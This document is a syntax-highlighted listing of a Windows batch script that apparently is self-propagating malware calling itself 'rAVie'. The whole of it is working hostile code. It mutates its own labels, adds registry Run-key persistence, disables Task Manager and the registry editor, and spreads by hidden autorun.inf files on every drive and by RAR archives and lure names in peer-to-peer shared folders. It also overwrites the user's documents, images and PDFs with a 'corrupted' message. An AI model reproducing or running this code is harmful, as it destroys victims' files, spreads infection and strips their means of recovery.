:<span style="color:#b100b1;font-weight:bold;">_ %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/not.html"><span style="color:#000000;font-weight:bold;">not</span></a> <a href="http://www.ss64.com/nt/exist.html"><span style="color:#000000;font-weight:bold;">exist</span></a> %<span style="color:#448888;">mys</span>% <span style="color:#66cc66;">(</span> @copy /y %<span style="color:#448888;"><span>0</span></span> %<span style="color:#448888;">mys</span>%&amp;&amp;          @copy /y %<span style="color:#448888;"><span>0</span></span> %<span style="color:#448888;">mys2</span>%<span style="color:#66cc66;">)</span> %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn mute %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">main</span>%
:<span style="color:#b100b1;font-weight:bold;">_mute %<span style="color:#448888;">main</span>%</span>
find "main"&lt;%<span style="color:#448888;">mys2</span>%&gt;%<span style="color:#448888;">mys</span>% %<span style="color:#448888;">main</span>%
:<span style="color:#b100b1;font-weight:bold;">rnd_b %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">rnd %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">buc %<span style="color:#448888;">main</span>%</span>
find "m%<span style="color:#448888;">rmon: =</span>%"&lt;%<span style="color:#448888;">mys</span>%&gt;nul %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> %<span style="color:#448888;">errorlevel</span>%==<span>0</span> <a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:tst %<span style="color:#448888;">main</span>%</span>
find "m%<span style="color:#448888;">rmon: =</span>%"&lt;%<span style="color:#448888;">mys2</span>%&gt;&gt;%<span style="color:#448888;">mys</span>% %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> /a <span style="color:#448844;">rdnmm</span>=%<span style="color:#448888;">random</span>%*<span>9999999</span> %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> :<span style="color:#b100b1;font-weight:bold;">:%<span style="color:#448888;">rdnmm</span>% %%m%<span style="color:#448888;">rmon: =</span>%%%&gt;&gt;%<span style="color:#448888;">mys</span>% %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">tst %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">cnnt</span>=<span>1</span> %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> /L %%a <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span><span>0</span>,<span>1</span>,<span>9</span><span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">cmp %%a %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> %<span style="color:#448888;">cnnt</span>%|find "o"&gt;nul %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> %<span style="color:#448888;">errorlevel</span>%==<span>0</span> <a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:rnd_b %<span style="color:#448888;">main</span>%</span>
@copy /y %<span style="color:#448888;">mys</span>% %<span style="color:#448888;">mys2</span>% %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn perp %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn flach %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn regis %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn AD %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn paypaypay %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn usve %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">main</span>%
:<span style="color:#b100b1;font-weight:bold;">cmp %<span style="color:#448888;">main</span>%</span>
find "m%<span style="color:#448888;"><span>1</span></span>"&lt;%<span style="color:#448888;">mys</span>%&gt;nul %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> %<span style="color:#448888;">errorlevel</span>%==<span>1</span> <span style="color:#66cc66;">(</span> %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">cnnt</span>=%<span style="color:#448888;">cnnt</span>%o %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:EOF %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">cnnt</span>=%<span style="color:#448888;">cnnt</span>%x %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:EOF %<span style="color:#448888;">main</span>%</span>
<span style="color:#66cc66;">)</span> %<span style="color:#448888;">main</span>%
:<span style="color:#b100b1;font-weight:bold;">rnd %<span style="color:#448888;">main</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">rmon</span>=%<span style="color:#448888;">random:~<span>1</span>,<span>1</span></span>% %<span style="color:#448888;">main</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:EOF %<span style="color:#448888;">main</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">_usve %<span style="color:#448888;">m6</span>%</span>
ping -n <span>320</span> localhost &gt;nul %<span style="color:#448888;">m6</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn perp %<span style="color:#448888;">m6</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn flach %<span style="color:#448888;">m6</span>%</span>
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:_usve %<span style="color:#448888;">m6</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:<span>-368450787</span> %<span style="color:#448888;">m6</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_AD %<span style="color:#448888;">m5</span>%</span>
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">Set</span></a> <span style="color:#448844;">fos </span>= createobject<span style="color:#66cc66;">(</span>"scripting.filesystemobject"<span style="color:#66cc66;">)</span>&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">Set</span></a> <span style="color:#448844;">cmd </span>= createobject<span style="color:#66cc66;">(</span>"wscript.shell"<span style="color:#66cc66;">)</span>&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">Set</span></a> <span style="color:#448844;">hiel</span>= fos.opentextfile<span style="color:#66cc66;">(</span>"%<span style="color:#448888;">systemdrive</span>%\tmp.tmp"<span style="color:#66cc66;">)</span>&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> mei = "%<span style="color:#448888;">systemdrive</span>%\rAVie.bat"&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> io = hiel.readall&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> Do&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/not.html"><span style="color:#000000;font-weight:bold;">not</span></a><span style="color:#66cc66;">(</span>fos.fileexists<span style="color:#66cc66;">(</span>"%<span style="color:#448888;">systemdrive</span>%\rAVie.bat"<span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span> then&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">hie</span>= fos.createtextfile<span style="color:#66cc66;">(</span>"%<span style="color:#448888;">systemdrive</span>%\rAVie.bat"<span style="color:#66cc66;">)</span>&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> hie.write io&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> hie.close&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> end if&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> cmd.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp", "%<span style="color:#448888;">mys</span>%"&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> loop&gt;&gt;%<span style="color:#448888;">systemdrive</span>%\AD.vbs %<span style="color:#448888;">m5</span>%
start %<span style="color:#448888;">systemdrive</span>%\AD.vbs&amp;&amp; <a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:eof %<span style="color:#448888;">m5</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:<span>-1938644277</span> %<span style="color:#448888;">m5</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_flach %<span style="color:#448888;">m4</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">rdnn</span>=%<span style="color:#448888;">random</span>% %<span style="color:#448888;">m4</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> %%c <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>B C D E F G H I J K L M N O P Q R S T U V W X Y Z<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">fello %%c<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m4</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">m4</span>%
:<span style="color:#b100b1;font-weight:bold;">fello %<span style="color:#448888;">m4</span>%</span>
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/exist.html"><span style="color:#000000;font-weight:bold;">exist</span></a> %<span style="color:#448888;"><span>1</span></span>: <span style="color:#66cc66;">(</span>%<span style="color:#448888;"><span>1</span></span>:&amp;&amp; attrib *.* -h -r -s -a&amp;&amp; copy /y %<span style="color:#448888;">mys</span>% %<span style="color:#448888;">rdnn: =</span>%.bat %<span style="color:#448888;">m4</span>%
<span style="color:#66cc66;">(</span> <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> <span style="color:#66cc66;">[</span>AUTORUN<span style="color:#66cc66;">]</span> %<span style="color:#448888;">m4</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> UseAutoPlay=<span>1</span> %<span style="color:#448888;">m4</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> Open=cmd /c explorer^&amp; %<span style="color:#448888;">rdnn: =</span>%.bat %<span style="color:#448888;">m4</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> shell\open\Command=cmd /c explorer^&amp; %<span style="color:#448888;">rdnn: =</span>%.bat<span style="color:#66cc66;">)</span>&gt;autorun.inf %<span style="color:#448888;">m4</span>%
attrib *.bat +h +r +s&amp;&amp; attrib autorun.inf +h +r +s<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m4</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a>:eof %<span style="color:#448888;">m4</span>%
:<span style="color:#b100b1;font-weight:bold;">:<span>207291469</span> %<span style="color:#448888;">m4</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">: %<span style="color:#448888;">m9</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:<span>570129041</span> %<span style="color:#448888;">m9</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">: %<span style="color:#448888;">m7</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">:<span>450903641</span> %<span style="color:#448888;">m7</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_rgis %<span style="color:#448888;">m8</span>%</span>
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp" /V "RunDll23" /d "%<span style="color:#448888;">mys</span>%" /f %<span style="color:#448888;">m8</span>%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "<span>1</span>" /f %<span style="color:#448888;">m8</span>%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "<span>1</span>" /f %<span style="color:#448888;">m8</span>%
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">m8</span>%
:<span style="color:#b100b1;font-weight:bold;">:<span>1050516287</span> %<span style="color:#448888;">m8</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_perp %<span style="color:#448888;">m1</span>%</span>
del /q %<span style="color:#448888;">windir</span>%\t.rar,yer.t,jer.t %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/cd.html"><span style="color:#b1b100;font-weight:bold;">cd</span></a> "%<span style="color:#448888;">systemdrive</span>%%<span style="color:#448888;">~p0" </span>%m1%<span style="color:#448888;">
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> </span>%%<span style="color:#448888;">v <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>"eMule\Incoming\" "Shareaza\Downloads\" "BearShare\Shared\" "LimeWire\Shared\"<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> </span>%%<span style="color:#448888;">v&gt;&gt;yer.t </span>%m1%<span style="color:#448888;">
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">rc</span>=<span>1</span>&amp;&amp; <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">r</span>="</span>%programfiles%<span style="color:#448888;">\WINRAR\WinRAR.exe" </span>%m1%
%r%<span style="color:#448888;"> a </span>%windir%<span style="color:#448888;">\t.rar </span>%mys: =% %m1%<span style="color:#448888;">
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/not.html"><span style="color:#000000;font-weight:bold;">not</span></a> </span>%errorlevel%<span style="color:#448888;">==<span>9009</span> <a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">rc</span>=<span>0</span> </span>%m1%<span style="color:#448888;">
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">fr </span>%m1%
:<span style="color:#b100b1;font-weight:bold;">fr2 </span>%m1%
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">uno</span>=</span>%<span>1</span> %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> %%g <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>Path_msn_Emoticonos sms_gratis MSN_hack_codes Windows_Vista_activation_tool<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span>copy /y %<span style="color:#448888;">mys: =</span>% %%g.bat %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> %<span style="color:#448888;">rc</span>%==<span>0</span> <span style="color:#66cc66;">(</span>ping -n <span>2</span> localhost&gt;nul %<span style="color:#448888;">m1</span>%
%<span style="color:#448888;">r</span>% a %%g.rar %%g.bat<span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span> %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:EOF                                                   %<span style="color:#448888;">m1</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">fr %<span style="color:#448888;">m1</span>%</span>
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> /F "tokens=* delims=" %%a <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>yer.t<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/exist.html"><span style="color:#000000;font-weight:bold;">exist</span></a> "%<span style="color:#448888;">programfiles</span>%\%%a" <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/cd.html"><span style="color:#b1b100;font-weight:bold;">cd</span></a> "%<span style="color:#448888;">programfiles</span>%\%%a"    %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> %%e <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>*.rar<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span> @copy /y %<span style="color:#448888;">mys: =</span>% "%%~ne.bat" %<span style="color:#448888;">m1</span>%
ping -n <span>2</span> localhost &gt; <a href="http://www.ss64.com/nt/nul.html"><span style="color:#0000ff;font-weight:bold;">nul</span></a> %<span style="color:#448888;">m1</span>%
%<span style="color:#448888;">r</span>% a "%%e" "%%~ne.bat"<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">fr2 %%a<span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span> %<span style="color:#448888;">m1</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">arespg %<span style="color:#448888;">m1</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> <span style="color:#448844;">ardir</span>="%<span style="color:#448888;">userprofile</span>%\Configuraci¢n local\Datos de programa\Ares\My Shared Folder\" %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/if.html"><span style="color:#00b100;font-weight:bold;">if</span></a> <a href="http://www.ss64.com/nt/exist.html"><span style="color:#000000;font-weight:bold;">exist</span></a> %<span style="color:#448888;">ardir</span>% <span style="color:#66cc66;">(</span><a href="http://www.ss64.com/nt/cd.html"><span style="color:#b1b100;font-weight:bold;">cd</span></a> %<span style="color:#448888;">ardir</span>% %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> %%e <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>*.rar<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span>copy /y %<span style="color:#448888;">mys: =</span>% "%%~ne.bat" %<span style="color:#448888;">m1</span>%
ping -n <span>2</span> localhost &gt; <a href="http://www.ss64.com/nt/nul.html"><span style="color:#0000ff;font-weight:bold;">nul</span></a> %<span style="color:#448888;">m1</span>%
%<span style="color:#448888;">r</span>% a "%%e" "%%~ne.bat"<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m1</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">fr2 %%a<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m1</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">m1</span>%
:<span style="color:#b100b1;font-weight:bold;">:<span>1356710413</span> %<span style="color:#448888;">m1</span>% </span>
:<span style="color:#b100b1;font-weight:bold;">_paypaypay %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">_hdn usve %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/set.html"><span style="color:#b1b100;font-weight:bold;">set</span></a> /a <span style="color:#448844;">r</span>=%<span style="color:#448888;">random:~<span>2</span>,<span>1</span></span>%%<span style="color:#448888;"><span>2</span></span>&amp;&amp; <a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">__%<span style="color:#448888;">r</span>% %<span style="color:#448888;">m2</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">__ %<span style="color:#448888;">m2</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">__0 %<span style="color:#448888;">m2</span>%</span>
%<span style="color:#448888;">systemdrive</span>% %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/cd.html"><span style="color:#b1b100;font-weight:bold;">cd</span></a> %<span style="color:#448888;">systemdrive</span>%\ %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">dsttr jpg&amp;&amp; <a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :dsttr jpeg %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">dsttr doc&amp;&amp; <a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :dsttr xls %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">dsttr pwl&amp;&amp; <a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :dsttr pdf %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :<span style="color:#b100b1;font-weight:bold;">dsttr dot&amp;&amp; <a href="http://www.ss64.com/nt/call.html"><span style="color:#00b100;font-weight:bold;">call</span></a> :dsttr ppt %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/exit.html"><span style="color:#00b100;font-weight:bold;">exit</span></a> %<span style="color:#448888;">m2</span>%
:<span style="color:#b100b1;font-weight:bold;">dsttr %<span style="color:#448888;">m2</span>%</span>
<a href="http://www.ss64.com/nt/dir.html"><span style="color:#b1b100;font-weight:bold;">dir</span></a> /s /b|find ".%<span style="color:#448888;"><span>1</span></span>"&gt;%<span style="color:#448888;"><span>1</span></span>.t %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/for.html"><span style="color:#00b100;font-weight:bold;">for</span></a> /f "tokens=* delims=" %%a <a href="http://www.ss64.com/nt/in.html"><span style="color:#00b100;font-weight:bold;">in</span></a> <span style="color:#66cc66;">(</span>%<span style="color:#448888;"><span>1</span></span>.t<span style="color:#66cc66;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color:#00b100;font-weight:bold;">do</span></a> <span style="color:#66cc66;">(</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> MsgBox "%%a has been corrupted by rAVie", vbCritical, "Corrupted File Warning"&gt;hy.vbs&amp;&amp; start hy %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/echo.html"><span style="color:#b1b100;font-weight:bold;">echo</span></a> Corrupted file by rAVie&gt;"%%a"<span style="color:#66cc66;">)</span> %<span style="color:#448888;">m2</span>%
<a href="http://www.ss64.com/nt/goto.html"><span style="color:#00b100;font-weight:bold;">goto</span></a> <span style="color:#b100b1;font-weight:bold;">:eof %<span style="color:#448888;">m2</span>%</span>
:<span style="color:#b100b1;font-weight:bold;">__1 %<span style="color:#448888;">m2</span>%</span>
